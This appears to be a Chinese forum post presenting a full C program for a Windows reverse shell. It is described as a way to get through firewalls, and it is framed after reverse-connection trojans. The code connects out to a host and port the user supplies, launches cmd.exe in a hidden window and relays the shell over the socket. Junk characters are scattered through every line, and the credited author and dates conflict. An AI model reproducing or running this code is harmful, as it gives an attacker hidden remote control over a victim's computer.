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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &^@IAjxn  
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/* ============================== BZ@v8y _TA  
Rebound port in Windows NT cUM#|K#6  
By wind,2006/7 Zj2tQ}N  
===============================*/ QNCG^ub  
#include v@ OM  
#include _c6 zzGtH  
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#pragma comment(lib,"wsock32.lib") >)S'`e4Gu  
wfc+E9E  
void OutputShell(); Ix'GP7-m_  
SOCKET sClient; 'C\knQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LQ=Fck~[r  
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void main(int argc,char **argv) -xc'P,`  
{ xm}`6B^f  
WSADATA stWsaData; C$fQ[@  
int nRet; fO$~jxR.  
SOCKADDR_IN stSaiClient,stSaiServer; cLCzLNyKl  
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if(argc != 3) [:C!g#o  
{ `PvGfmYOl  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?u /i8  
return; { w:9w  
} _K|513I  
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WSAStartup(MAKEWORD(2,2),&stWsaData); pM7xnL4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B=J/HiwV)  
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stSaiClient.sin_family = AF_INET; [P"R+$"   
stSaiClient.sin_port = htons(0); Vch!&8xii  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h;sdm/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oFUP`p%[  
{ (_O_zu8_  
printf("Bind Socket Failed!\n"); 5T;,wQ<  
return; cE0Kvqe`  
} $2\k| @)s  
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stSaiServer.sin_family = AF_INET; } ~#^FFe  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rJl'+Ae9N|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #y%?A;  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) za@`,Yq  
{ {BKr/) H  
printf("Connect Error!"); ;'J{ylRQ  
return; J#'+&D H  
} SgocHpyg  
OutputShell(); obhq2sK  
} 5UHxB"`C  
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void OutputShell() <sq@[\l}a  
{ S  H5G  
char szBuff[1024]; gKGM|0u|r  
SECURITY_ATTRIBUTES stSecurityAttributes; 27Ve$Q8]v  
OSVERSIONINFO stOsversionInfo; v J.sa&\H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sd~T  
STARTUPINFO stStartupInfo; RW. >;|m  
char *szShell; /K]<7  
PROCESS_INFORMATION stProcessInformation; -N[Q*;h|  
unsigned long lBytesRead; `[5QouPV  
sj?7}(s  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +#!! 'XP  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); saaN$tU7  
stSecurityAttributes.lpSecurityDescriptor = 0; 0jN?5j  
stSecurityAttributes.bInheritHandle = TRUE; &u/T,jy`  
zWh[U'6  
Hc{0O7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qSWnv`hL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pZ4]oK\*  
X%b.]A  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); va/$dD9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U3yIONlt  
stStartupInfo.wShowWindow = SW_HIDE; /n SmGAO  
stStartupInfo.hStdInput = hReadPipe; g np\z/'>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *0`oFTJ  
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GetVersionEx(&stOsversionInfo); z2QZ;ZjvRS  
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switch(stOsversionInfo.dwPlatformId) a jCx"J  
{ ^#4?v^QNh  
case 1: ?#LbhO*   
szShell = "command.com"; 4F+n`{~  
break; DEw_dOJ(  
default: NN9` jP2  
szShell = "cmd.exe"; H `V3oS~}  
break; ^3L6mOoA  
} ^^I3%6UY  
/8SQmh$+e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  TVP.)%  
i>C:C>~  
send(sClient,szMsg,77,0); ;ip"V 0`  
while(1) iPxhDn<B  
{ 3S'juHT e  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x`vIY-DS  
if(lBytesRead) 6%B5hv24v  
{ lll]FJ1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H0 YxPk)  
send(sClient,szBuff,lBytesRead,0); ='0f#>0Q  
} #D$vH  
else lnFOD+y9  
{ eswsxJ/!  
lBytesRead=recv(sClient,szBuff,1024,0); #w4= kWJ[  
if(lBytesRead<=0) break; u,e(5LU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); btK| U  
} ;y7V-sf  
} _Z|s!~wdz  
vRLkz4z   
return; i~dW)7  
}
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